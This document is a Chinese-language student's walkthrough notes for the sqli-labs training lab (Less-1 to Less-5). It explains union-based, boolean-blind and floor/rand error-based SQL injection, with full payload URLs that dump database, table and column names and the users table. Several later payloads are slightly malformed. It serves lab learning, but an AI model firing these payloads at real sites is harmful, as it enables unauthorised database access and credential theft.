p1
sql注入的目的是为了破坏sql语句结构,有三种参数类型,字符型(就是一个字符1或者a之类的),字符串("hellow之类的")型,数值型,前两个有闭合,注释符号有# --(空格) --+
(空格)转换为20%#转换为23%


有回显,说明参数是字符型单引号闭合,尝试爆字段



当输入order by 4的时候报错,说明存在3列,而且就然能报错说明将语句解析执行了,说明存在注入点(order by是对列进行排序的意思)

联合查询,前面报错后面插入恶意语句,得到回显位2,3 (显示数据库查询结果)
补充:联合查询的列数,必须与原始查询的列数一致,所以有了占位符一说

输出2的名字和3,其中1,3是占位符,

最后用联合注入
http://[靶机IP]/sqli-labs/Less-1/?id=-1' union select 1,2,group_concat(schema_name) from information_schema.schemata --+
group_concat:一次性提取多行数据时用","将他们连接起来
schema:包含所有数据库的列表以及有关这些数据库的信息。
information_schema是一个系统数据库,存储了所有数据库、表、列等元数据信息。在这里用于提取数据库名
information_schema.schemata查询这个表可以获取所有数据库的名称
在ctftraining中查找flag ,
http://[靶机IP]/sqli-labs/Less-1/?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='ctftraining' --+

再查询column名
http://[靶机IP]/sqli-labs/Less-1/?id=-1' union select 1,2,group_concat(column_name)from information_schema.columns where table_schema='ctftraining' and table_name='flag' --+
最后输入
http://[靶机IP]/sqli-labs/Less-1/?id=-1' union select 1,2,group_concat(flag) from ctftraining.flag --+
cat flag

p2

判断参数类型为数值型,报错存在注入点
一直order by到4才报错,所以有三个字段回显位

暴库名
爆表名

爆列名
爆flag
p3

我以为还是数值型

但是1=2也对
联合注入查看报错信息') 闭合
回显位2,3

爆库名
爆表名
爆列名

爆flag
p4

也是前期咋个试都对

")报错了,存在注入点
回显位
爆库名

爆表名

得到flag
p5
我去,看的wp布尔盲注强行爆破,太麻烦了,又去找发现了updatexml报错注入

无回显
报错,单引号闭合,
看别人wp有两种方法,一个布尔盲注很麻烦,不过趁机详细学学,另一个是updatexml报错注入
方法一(布尔盲注)
主要学知识点,操作一部分,不完全操作,太麻烦了
一、盲注思路:
- 爆库名长度
- 根据库名长度爆库名
- 对当前库爆表数量
- 根据库名和表数量爆表名长度
- 根据表名长度爆表名
- 对表爆列数量
- 根据表名和列数量爆列名长度
- 根据列名长度爆列名
- 根据列名爆数据值
简单来说按照层次轮流爆:数量,长度,名
二、盲注原理
将?id=1与and并列进行注入
1.常用函数
(1)
substr(str,from,length):(字符串,截取位,截取长度)
这里要注意没有0位从1位开始
(2)length(str)
:返回str长度(3)ascii(char): 返回字符的ASCII码。
(4)count(): 返回当前列的数量。
(5)case when (条件) then 代码1 else 代码2 end: 条件成立则执行代码1,否则执行代码2
2.盲注步骤(穷举,盲猜)
爆破库名长度,ba
?id=1 and length(database())=1
爆到其他的是图一,爆到8是图二,说明库名长度为8
爆破库名
第一个字母s
第二个是e
逐个尝试是security
我不知道为什么下面这个payload爆不了字段,都显示正确
?id=1' and length((select group_concat(table_name) from information_schema.tables where table_schema=database()))>28--+
判断所有表名字段长度为29注意","会被记入总长度
?id=1' and substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),2,1)='m'--+
当试到e时成功,m时成功...........
最后爆出来是emails,referers,uagents,users
在接着爆列的长度
列长度为20
?id=1' and length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))>20--+
爆这个错
?id=1'and substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,1)='a'--+
到 i 的时候成功.......省略n多步骤最后爆出来id,username,password
有110个字符
布尔盲注自己注去吧能注出来
方法二(报错注入)
我一下子看到了好几种报错注入,逐个学习了解一下
双查询注入报错原理:
1.先来了解子查询:子查询可以理解在一个select语句中再插入一个select 里面的select语句就是子查询eg:select concat((select database()));执行语句时,先从子查询进行, 先执行select database()再把结果传入到concat函数
2.常用函数:
(1)rand:随机生成0~1之间的小数
(2)floor:向下取整,将rand取为0或者1触发报错
(3)concat:将多个字符连成一个字符串
(4)group by:按照指定结果分组,结合floor(rand()*2)触发报错,嗯......具体例子不好展示,大概就是:
(5)count:统计行数,用于group by 分组统计,触发报错
(6)limit:限制返回的行数
3.场景复现
创建数据库;
使用该数据库;
创建表;
插入数据并查询;
好吧,插入了好几次终于报错了
就可以得到数据库信息
还是想写一下大致逻辑:
扫描第一行:假设一开始floor(rand()*2)的结果为0,准备插入前再次扫面floor(rand()*2)的结果为1,则插入1,并count1;
扫面第二行:floor(rand()*2)的结果为1,直接count+1
扫描第三行:floor(rand()*2)的结果为0,准备插入前再次扫面floor(rand()*2)的结果为1,想要插入,但是已经有1了就会报错,由此得到有用信息
关于报错注入的原理和底层逻辑sql注入--双查询报错注入原理探索_报错注入查询多个数据库-CSDN博客
这篇文章写的非常通俗易懂,而且非常清晰,牛牛牛,这里就不一一赘述了,下面是查询语句
mysql> SELECT count(*),concat((SELECT database()),"~",floor(rand()*2))as a FROM test GROUP BY a;
然后构造payload注入
?id=-1'%20 union select 1, count(*),concat((select database()),"~",floor (rand()*2)) as a from information_schema.tables group by a--+
这里要注意一个问题,联合查询的列要和本身列数相同, 所以是union select 1, count(*),concat..........
爆表名, 但是这个爆表名为什莫这里还是concat((select database())?
?id=-1' union select count(),count(), concat((select database()), floor(rand()*2)) as a from information_schema.tables group by a --+
爆列名
?id=1' union select 1, count(), concat((select username from users limit 0,1), '---', floor(rand(0)2)) as a from information_schema.tables group by a --+